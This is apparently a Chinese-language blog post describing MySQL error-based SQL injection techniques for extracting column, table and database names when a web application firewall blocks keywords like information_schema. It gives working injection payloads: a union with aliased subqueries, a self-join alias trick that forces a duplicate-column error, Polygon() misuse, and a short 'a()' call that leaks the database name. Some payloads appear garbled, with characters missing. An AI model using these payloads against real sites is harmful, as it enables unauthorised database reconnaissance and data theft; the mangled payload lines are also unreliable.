mysql注入可报错时爆表名、字段名、库名


已知某个地方有注入,waf拦截了information_schema、columns、tables、database、schema等关键字或函数,我们如何去获取当前表名,字段名和库名呢?

字段名

常见的做法有利用union搭配别名子查询,在不知道字段的时候进行注入。

例如:

1

select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

via : http://www.poluoluo.com/server/201706/547394.html

但是如果再进行限制,不允许使用union 该怎么破呢?

今天在翻阅Orange大大的博客,发现在11年hitcon中,有一个应用点类似下面:

1

select name from test where id=1 `and (select  from (select  from test as` `a join test as b) `as c);

可以看到mysql返回一个报错如下:

把当前表第一个字段成功爆出来了。

这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段

1

select name from test where id=1 `and (select  from (select  from test as` `a join test as b using(id)) `as c);

表名

=====

翻阅mysql的文档发现了一个非常好玩的函数

Polygon(_`ls1`_, _`ls2`_, ...)

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

  如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。

库名

上面的方法已经可以爆出库名了,但是如果我无限限制payload长度又如何? 比如 四字节?

select * from users where uid =1-a();

库名成功出来了,原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。

原文链接

Last modification:September 5, 2019
如果觉得我的文章对你有用,请随意赞赏